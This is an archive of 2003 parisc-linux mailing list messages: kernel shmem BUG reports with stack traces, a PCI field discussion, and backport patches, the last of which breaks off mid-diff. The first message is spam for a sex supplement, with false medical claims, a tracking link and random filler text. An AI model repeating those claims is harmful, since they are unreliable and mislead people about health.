Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="21_ED6A8B_."
X-Trace: ger.gmane.org 1416623018 2559 80.91.229.3 (22 Nov 2014 02:23:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:38 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  3 20:34:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 192.25.206.7 (unknown [66.168.195.68])
	by dsl2.external.hp.com (Postfix) with SMTP id 24E4E4894
	for <parisc-linux@parisc-linux.org>; Wed,  3 Dec 2003 20:34:48 -0700 (MST)
Original-Received: from [80.120.181.30] by 192.25.206.7; Thu, 04 Dec 2003 00:36:57 -0300
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20279

--21_ED6A8B_.
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>Over and over and over she screams fakv
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#000000" text=3D"#000000" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FFFFFF" face=3D"verdana">You can be a sex mach=
ine.</font></h3></center><center><h4><font color=3D"#FF00FF" face=3D"verda=
na">Finally available to the public.<br>Alpha Male<br>The supplement that =
Male Porn Stars use</font></h4></center><br><center><h5><font color=3D"#FF=
FFFF" face=3D"verdana">Make love to her like no other man can. Orgasm afte=
r orgasm after orgasm.<br><br>Porn Stars shoot an entire movie in one day =
having sex many times with many different women.<br> Now you can have rock=
 hard orgasmic sex over and over again.<br>Just like the Porn Stars do<br>=
<br>Increase your testosterone 500%<br>Increase your sex drive<br>Increase=
 your virility<br>Increase the size of your penis<br>Never again experienc=
e premature ejaculation<br>She will never leave you alone when you give he=
r sex like she's never had before.<br><br>Doctor developed with a 100=
% Money Back Guarantee !</font></h5><h2><a href=3D"http://www.herbalmarts.=
biz/cgi-bin/tracker/clickalpha.cgi?id=3Dbuster">Find Alpha Male Here</a></=
h2></center>
y rlef oangjw
</body>
</html>
hfbu eohfsmtm
 sdbmv nrg vlve
gfagzvk cm
pb upk 
lwdbs k n
fl
fyknq hnh

--21_ED6A8B_.--



From - Thu Nov 08 21:30:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] shmem 2.6 kernel bug?
Date: Wed, 3 Dec 2003 23:00:26 -0500
Lines: 54
Approved: news@gmane.org
Message-ID: <20031204040026.GB17292@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623018 2564 80.91.229.3 (22 Nov 2014 02:23:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  3 21:06:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5407F4868
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Dec 2003 21:06:48 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1ARkfC-0004WD-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 03 Dec 2003 23:00:26 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (68% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20280

pa,

When I ssh into my box I see:
---
kernel BUG at mm/shmem.c:585!
Kernel addresses on the stack:
 [<000000001016f338>] unmap_page_range+0xa0/0x290
 [<0000000010126e78>] sys32_rt_sigaction+0x90/0x118
 [<000000001011313c>] sys_mmap2+0x14/0x20
 [<000000001010ce4c>] syscall_exit+0x0/0x14
 [<000000001010c094>] intr_check_sig+0x0/0xc
---

    571 static void shmem_delete_inode(struct inode *inode)
    572 {
    573         struct shmem_sb_info *sbinfo = SHMEM_SB(inode->i_sb);
    574         struct shmem_inode_info *info = SHMEM_I(inode);
    575 
    576         if (inode->i_op->truncate == shmem_truncate) {
    577                 spin_lock(&shmem_ilock);
    578                 list_del(&info->list);
    579                 spin_unlock(&shmem_ilock);
    580                 if (info->flags & VM_ACCOUNT)
    581			vm_unacct_memory(VM_ACCT(inode->i_size));
    582                 inode->i_size = 0;
    583                 shmem_truncate(inode);
    584         }
==> 585         BUG_ON(inode->i_blocks);
    586         spin_lock(&sbinfo->stat_lock);
    587         sbinfo->free_inodes++;
    588         spin_unlock(&sbinfo->stat_lock);
    589         clear_inode(inode);
    590 }

*Carlos shrugs*

Linux firin 2.6.0-test11-pa0 #1 Wed Dec 3 14:51:57 EST 2003 parisc64 GNU/Linux

Reading specs from
/home/carlos/src/toolchain-build/install/lib/gcc-lib/hppa64-linux/3.3.1/specs
Configured with: ../gcc-cvs/configure --host=hppa-linux
--prefix=/home/carlos/src/toolchain-build/install --target=hppa64-linux
--build=hppa-linux
--with-gnu-ld=/home/carlos/src/toolchain-build/install/bin/ld
--with-gnu-as=/home/carlos/src/toolchain-build/install/bin/as
--enable-languages=c
Thread model: posix
gcc version 3.3.1

GNU ld version 2.14.90 20031106

c.



From - Thu Nov 08 21:30:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] shmem 2.6 kernel bug?
Date: Wed, 3 Dec 2003 23:55:06 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <20031204045506.GD17292@systemhalted>
References: <20031204040026.GB17292@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623018 2569 80.91.229.3 (22 Nov 2014 02:23:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  3 22:01:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id A3E4E4852
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Dec 2003 22:01:28 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1ARlW6-0004bg-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 03 Dec 2003 23:55:06 -0500
Content-Disposition: inline
In-Reply-To: <20031204040026.GB17292@systemhalted>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (68% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20281

On Wed, Dec 03, 2003 at 11:00:26PM -0500, Carlos O'Donell wrote:
> 
> pa,
> 
> When I ssh into my box I see:
> ---
> kernel BUG at mm/shmem.c:585!
> Kernel addresses on the stack:
>  [<000000001016f338>] unmap_page_range+0xa0/0x290
>  [<0000000010126e78>] sys32_rt_sigaction+0x90/0x118
>  [<000000001011313c>] sys_mmap2+0x14/0x20
>  [<000000001010ce4c>] syscall_exit+0x0/0x14
>  [<000000001010c094>] intr_check_sig+0x0/0xc
> ---

kernel BUG at mm/shmem.c:585!
Kernel addresses on the stack:
 [<00000000101a15d4>] dput+0x13c/0x240
 [<0000000010141900>] do_group_exit+0x50/0x108
 [<00000000101419cc>] sys_exit_group+0x14/0x20
 [<000000001010ce4c>] syscall_exit+0x0/0x14
 [<000000001010c094>] intr_check_sig+0x0/0xc

c.



From - Thu Nov 08 21:30:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.23 PCI source inconsistency
Date: Wed, 3 Dec 2003 22:45:50 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <20031204054550.GB31404@colo.lackof.org>
References: <3FCE5AAE.6080104@ameritech.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623018 2570 80.91.229.3 (22 Nov 2014 02:23:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: northern snowfall <dbailey27@ameritech.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  3 22:45:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id D09B34845
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Dec 2003 22:45:51 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 067A2298045; Wed,  3 Dec 2003 22:45:51 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 31698-03; Wed, 3 Dec 2003 22:45:50 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 27782298044; Wed,  3 Dec 2003 22:45:50 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3FCE5AAE.6080104@ameritech.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20282

On Wed, Dec 03, 2003 at 04:50:38PM -0500, northern snowfall wrote:
> Hey all,
>    I compiled 2.4.23 from kernel.org for 32bit PA-RISC today
> and found that the PA-RISC specific PCI code seems to be out-
> of sync with the generic pci code.

As carlos said, use kernels from ftp.parisc-linux.org or pull
sources directly from cvs.parisc-linux.org.

> pci.c: In function `pcibios_init_bus':
> pci.c:310: structure has no member named `bridge_ctl'

I added this field to clean up FBB and VGA routing support.
"bridge_ctl" is a PCI-PCI Bridge register that controls
both of those behaviors. Ivan K. (ex PCI Maintainer) and I had it
working for parisc/ia32/alpha but apperently it never got
submitted/accepted into any official tree.

Russell King (ARM maintainer) found it useful anyway
and submitted it

	http://www.ussg.iu.edu/hypermail/linux/kernel/0208.0/0723.html

and later:
	http://lists.arm.linux.org.uk/pipermail/linux-arm-kernel/2003-October/017459.html

Darn...looks like bridge_ctl didn't get pushed into 2.6 either. :^(
I'll follow up a bit offline.

grant


From - Thu Nov 08 21:30:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] shmem 2.6 kernel bug?
Date: Thu, 4 Dec 2003 08:13:25 +0100
Lines: 89
Approved: news@gmane.org
Message-ID: <3FB25B960000D7FF@ocpmta1.freegates.net>
References: <20031204040026.GB17292@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623019 2573 80.91.229.3 (22 Nov 2014 02:23:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:39 +0000 (UTC)
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  4 00:17:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 50FC44845
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Dec 2003 00:17:09 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1ARnhV-000087-00; Thu, 04 Dec 2003 08:15:01 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 4 Dec 2003 08:13:25 +0100
In-Reply-To: <20031204040026.GB17292@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20283

hmm I didn't mentioned till now because of some non cvs stuff in my kernel
but I got same messages (ie only "BUG at mm/shmem.c:585!") with k-2.4.23
64bits on my b2k build with latest gcc-3.3.2.

hth,
    Joel

>-- Original Message --
>From: Carlos O'Donell <carlos@baldric.uwo.ca>
>To: parisc-linux@lists.parisc-linux.org
>Date: Wed, 3 Dec 2003 23:00:26 -0500
>Subject: [parisc-linux] shmem 2.6 kernel bug?
>
>
>
pa,

When I ssh into my box I see:
---
kernel BUG at mm/shmem.c:585!
Kernel addresses on the stack:
 [<000000001016f338>] unmap_page_range+0xa0/0x290
 [<0000000010126e78>] sys32_rt_sigaction+0x90/0x118
 [<000000001011313c>] sys_mmap2+0x14/0x2
>
 [<000000001010ce4c>] syscall_exit+0x0/0x14
 [<000000001010c094>] intr_check_sig+0x0/0xc
---

    571 static void shmem_delete_inode(struct inode *inode)
    572 {
    573         struct shmem_sb_info *sbinfo = SHMEM_SB(inode->i_sb);
    574  
>      struct shmem_inode_info *info = SHMEM_I(inode);
    575 
    576         if (inode->i_op->truncate == shmem_truncate) {
    577                 spin_lock(&shmem_ilock);
    578                 list_del(&info->list);
    579                 s
>in_unlock(&shmem_ilock);
    580                 if (info->flags & VM_ACCOUNT)
    581			vm_unacct_memory(VM_ACCT(inode->i_size));
    582                 inode->i_size = 0;
    583                 shmem_truncate(inode);
    584         }
==> 585
>        BUG_ON(inode->i_blocks);
    586         spin_lock(&sbinfo->stat_lock);
    587         sbinfo->free_inodes++;
    588         spin_unlock(&sbinfo->stat_lock);
    589         clear_inode(inode);
    590 }

*Carlos shrugs*

Linux firin
>2.6.0-test11-pa0 #1 Wed Dec 3 14:51:57 EST 2003 parisc64 GNU/Linux

Reading specs from
/home/carlos/src/toolchain-build/install/lib/gcc-lib/hppa64-linux/3.3.1/specs
Configured with: ../gcc-cvs/configure --host=hppa-linux
--prefix=/home/carlos/src/
>oolchain-build/install --target=hppa64-linux
--build=hppa-linux
--with-gnu-ld=/home/carlos/src/toolchain-build/install/bin/ld
--with-gnu-as=/home/carlos/src/toolchain-build/install/bin/as
--enable-languages=c
Thread model: posix
gcc version 3.3.1
>

GNU ld version 2.14.90 20031106

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.23 some tested backport (pgalloc.h)
Date: Thu, 4 Dec 2003 10:56:08 +0100
Lines: 61
Approved: news@gmane.org
Message-ID: <3FB25B960000DA45@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="========/3FB25B960000DA45/mail.tiscali.be"
X-Trace: ger.gmane.org 1416623019 2575 80.91.229.3 (22 Nov 2014 02:23:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  4 02:57:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 744394845
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Dec 2003 02:57:24 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1ARqDR-0004g3-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 04 Dec 2003 10:56:09 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 4 Dec 2003 10:56:08 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20284

--========/3FB25B960000DA45/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit

Hi pa,

iirc this a Randolph's patch which I try to backport and test seems ok
=========><=========
--- linux-2.4.23-pa1/include/asm-parisc/pgalloc.h	2003-03-10 08:02:19.000000000
+0100
+++ linux-2.4.23-rc5-pa17/include/asm-parisc/pgalloc.h	2003-12-04 11:06:31.000000000
+0100
@@ -124,8 +124,9 @@
 
 #define flush_icache_page(vma,page)	do { flush_kernel_dcache_page(page_address(page));
flush_kernel_icache_page(page_address(page)); } while (0)
 
-#define flush_icache_user_range(vma, page, addr, len) \
-	flush_user_icache_range(addr, addr + len);
+#define flush_icache_user_range(vma, page, addr, len) do { \
+        flush_user_dcache_range(addr, addr + len); \
+	flush_user_icache_range(addr, addr + len); } while (0)
 
 #define flush_icache_range(s,e)		do { flush_kernel_dcache_range_asm(s,e);
flush_kernel_icache_range_asm(s,e); } while (0)
 
=========><=========

hth,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr



--========/3FB25B960000DA45/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="include_asm-parisc_pgalloc.h.patch"

LS0tIGxpbnV4LTIuNC4yMy1wYTEvaW5jbHVkZS9hc20tcGFyaXNjL3BnYWxsb2MuaAkyMDAzLTAz
LTEwIDA4OjAyOjE5LjAwMDAwMDAwMCArMDEwMAorKysgbGludXgtMi40LjIzLXJjNS1wYTE3L2lu
Y2x1ZGUvYXNtLXBhcmlzYy9wZ2FsbG9jLmgJMjAwMy0xMi0wNCAxMTowNjozMS4wMDAwMDAwMDAg
KzAxMDAKQEAgLTEyNCw4ICsxMjQsOSBAQAogCiAjZGVmaW5lIGZsdXNoX2ljYWNoZV9wYWdlKHZt
YSxwYWdlKQlkbyB7IGZsdXNoX2tlcm5lbF9kY2FjaGVfcGFnZShwYWdlX2FkZHJlc3MocGFnZSkp
OyBmbHVzaF9rZXJuZWxfaWNhY2hlX3BhZ2UocGFnZV9hZGRyZXNzKHBhZ2UpKTsgfSB3aGlsZSAo
MCkKIAotI2RlZmluZSBmbHVzaF9pY2FjaGVfdXNlcl9yYW5nZSh2bWEsIHBhZ2UsIGFkZHIsIGxl
bikgXAotCWZsdXNoX3VzZXJfaWNhY2hlX3JhbmdlKGFkZHIsIGFkZHIgKyBsZW4pOworI2RlZmlu
ZSBmbHVzaF9pY2FjaGVfdXNlcl9yYW5nZSh2bWEsIHBhZ2UsIGFkZHIsIGxlbikgZG8geyBcCisg
ICAgICAgIGZsdXNoX3VzZXJfZGNhY2hlX3JhbmdlKGFkZHIsIGFkZHIgKyBsZW4pOyBcCisJZmx1
c2hfdXNlcl9pY2FjaGVfcmFuZ2UoYWRkciwgYWRkciArIGxlbik7IH0gd2hpbGUgKDApCiAKICNk
ZWZpbmUgZmx1c2hfaWNhY2hlX3JhbmdlKHMsZSkJCWRvIHsgZmx1c2hfa2VybmVsX2RjYWNoZV9y
YW5nZV9hc20ocyxlKTsgZmx1c2hfa2VybmVsX2ljYWNoZV9yYW5nZV9hc20ocyxlKTsgfSB3aGls
ZSAoMCkKIAo=

--========/3FB25B960000DA45/mail.tiscali.be--


From - Thu Nov 08 21:30:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.23 lcopy_in_user backport
Date: Thu, 4 Dec 2003 11:10:25 +0100
Lines: 144
Approved: news@gmane.org
Message-ID: <3FB25B960000DA96@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="========/3FB25B960000DA96/mail.tiscali.be"
X-Trace: ger.gmane.org 1416623019 2577 80.91.229.3 (22 Nov 2014 02:23:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  4 03:11:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 596324845
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Dec 2003 03:11:49 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1ARqRF-0004YN-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 04 Dec 2003 11:10:25 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 4 Dec 2003 11:10:25 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20285

--========/3FB25B960000DA96/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit

Hi pa,

iirc this is a Carlos' chunk I try to backport:

=========><=========
diff -NaurX dontdiff linux-2.4.23-pa1/arch/parisc/lib/lusercopy.S linux-2.4.23-rc5-pa17/arch/parisc/lib/lusercopy.S
--- linux-2.4.23-pa1/arch/parisc/lib/lusercopy.S	2001-09-06 11:44:08.000000000
+0200
+++ linux-2.4.23-rc5-pa17/arch/parisc/lib/lusercopy.S	2003-10-23 18:21:44.000000000
+0200
@@ -133,6 +133,43 @@
 	.procend
 
 	/*
+	 * unsigned long
+	 * lcopy_in_user(void *to, const void *from, unsigned long n)
+	 *
+	 * Returns 0 for success.
+	 * otherwise, returns number of bytes not transferred.
+	 */
+
+	.export lcopy_in_user,code
+lcopy_in_user:
+	.proc
+	.callinfo NO_CALLS
+	.entry
+	comib,=,n   0,%r24,$lciu_done
+	get_sr
+$lciu_loop:
+	ldbs,ma     1(%sr1,%r25),%r1
+	addib,<>    -1,%r24,$lciu_loop
+1:      stbs,ma     %r1,1(%sr1,%r26)
+$lciu_done:
